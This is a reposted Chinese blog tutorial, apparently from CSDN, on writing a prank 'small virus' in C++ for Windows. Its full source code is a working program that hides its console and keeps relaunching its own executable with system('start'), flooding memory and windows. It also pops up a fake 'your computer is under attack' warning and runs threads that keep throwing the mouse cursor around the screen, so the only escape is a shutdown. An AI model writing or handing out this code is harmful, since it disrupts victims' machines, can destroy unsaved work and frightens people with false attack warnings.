我是靠谱客的博主 欢呼舞蹈,最近开发中收集的这篇文章主要介绍用c++撸一个小病毒,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

我又来啦(*^▽^*)????

怎么做????

开始做????

打开自己????

警告弹框????

开线程做鼠标的效果⭐️⭐️⭐️

定义线程????

创建线程????

等待线程的完成☀️

隐藏控制台图标????

全部代码????

最后????


我又来啦(*^▽^*)????
今天来教大家用c++做一个小病毒,非常的简单,你拿去在好友面前装一装也是可以的????

怎么做????
做就很简单

效果:先获取自己exe文件的路径,每隔一点时间就打开自己(其实是为了刷内存),会出现很多弹框,再加一点警告弹框,效果杠杠滴

然后再开一个线程,在上面的效果的同时,把鼠标搞飞,想要关掉,只能关机

所以说千万不要在打游戏或者文件没保存的时候打开

开始做????
打开自己????
因为我们要打开文件,所以需要知道文件路径

获取文件路径主要用到了一个叫做 _pgmptr的函数,但在用之前,记得要把前面加上一行????

#define _CRT_SECURE_NO_WARNINGS
否则可能用不了????

然后再弄一个char类型的变量s,s的内容是“start”,为什么呢?因为可以用system来打开文件,格式是system("start 文件名");

我们把s和文件路径拼接起来就可以啦

然后就会不停的弹出弹框

实际上这个就是类似于递归的一种操作,只不过这个是不会结束的打开的这个文件又打开,不停的打开

char s[100] = "start "; 
system(strcat(s, _pgmptr)); 
警告弹框????
没啥好说的,就这样就可以

MessageBox(NULL,"警告:你的电脑被攻击","error",MB_ICONEXCLAMATION);
开线程做鼠标的效果⭐️⭐️⭐️
开线程其实有很多种方式,因为我是用的devc++,所以我就用pthread.h????

如果用thread的话会报错的

我的devc++是安装的时候就有pthread.h的,其他人的好像都是要额外安装的

我懵逼了

接下来,就是快乐的code时间了

定义线程????
这样定义,加上了鼠标效果

void *test(void *ptr)
{
    int i;
    int x=GetSystemMetrics(SM_CXSCREEN);
    int y=GetSystemMetrics(SM_CYSCREEN);
    srand(time(NULL));
    for(int i=1;i<=10000000000000000000;i++)SetCursorPos(rand()%x,rand()%y);
}
创建线程????
创建了一个id为pId的线程

pthread_t pId;
ret = pthread_create(&pId,NULL,test,NULL);
等待线程的完成☀️
等待线程pId的完成

pthread_join(pId,NULL);
隐藏控制台图标????
没啥好说的

HWND hWnd = GetConsoleWindow(); 
SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW); 
全部代码????
就做完了,是不是很简单?

所以说,做一个简单的病毒是很简单的

 全部代码(devc++运行通过),后面可能还会做vs版的????

现在你可以愉快地玩耍了????

#define _CRT_SECURE_NO_WARNINGS
#include <iostream>
#include <pthread.h>
#include <unistd.h>
#include <windows.h>
#include <time.h>
#include <conio.h>
using namespace std;
//线程1:鼠标效果 
void *test(void *ptr)
{
    int i;
    int x=GetSystemMetrics(SM_CXSCREEN);
    int y=GetSystemMetrics(SM_CYSCREEN);
    srand(time(NULL));
    for(int i=1;i<=10000000000000000000;i++)SetCursorPos(rand()%x,rand()%y);
}
 
void *test1(void *ptr)
{
    int j;
    for(int u=0;u<100;u++)
    {
        cout<<u<<endl;    
    } 
}
 
int main(void)
{
    pthread_t pId;
    int i,ret;
    pthread_t pId1;
    int j,ret1;
    //创建2个子线程:线程1id为pId,线程2id为pId1 
    ret = pthread_create(&pId,NULL,test,NULL);
    ret1 = pthread_create(&pId1,NULL,test,NULL);
 
    if (ret != 0)
    {
        cout<<"error!"<<endl; 
        return 0;
    }
    if (ret1 != 0)
    {
        cout<<"error!"<<endl; 
        return 0;
    }
    
    /*隐藏控制台图标*/ 
    HWND hWnd = GetConsoleWindow(); 
    SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW); 
 
    /*调用自己文件*/
    char s[100] = "start "; 
    system(strcat(s, _pgmptr)); 
    
    /*警告*/
    MessageBox(NULL,"警告:你的电脑被攻击","error",MB_ICONEXCLAMATION); 
    
    //等待线程pId和pId1的完成
    pthread_join(pId,NULL);
    pthread_join(pId1,NULL);
    return 0;
 
}
最后????
最后,谢谢阅读和支持

如果有不懂的问题也可以私信我,我会一一回复

互粉必回,拜拜????


————————————————
版权声明:本文为CSDN博主「YR_T」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/m0_64036070/article/details/123869099

最后

以上就是欢呼舞蹈为你收集整理的用c++撸一个小病毒的全部内容,希望文章能够帮你解决用c++撸一个小病毒所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(60)

评论列表共有 0 条评论

立即
投稿
返回
顶部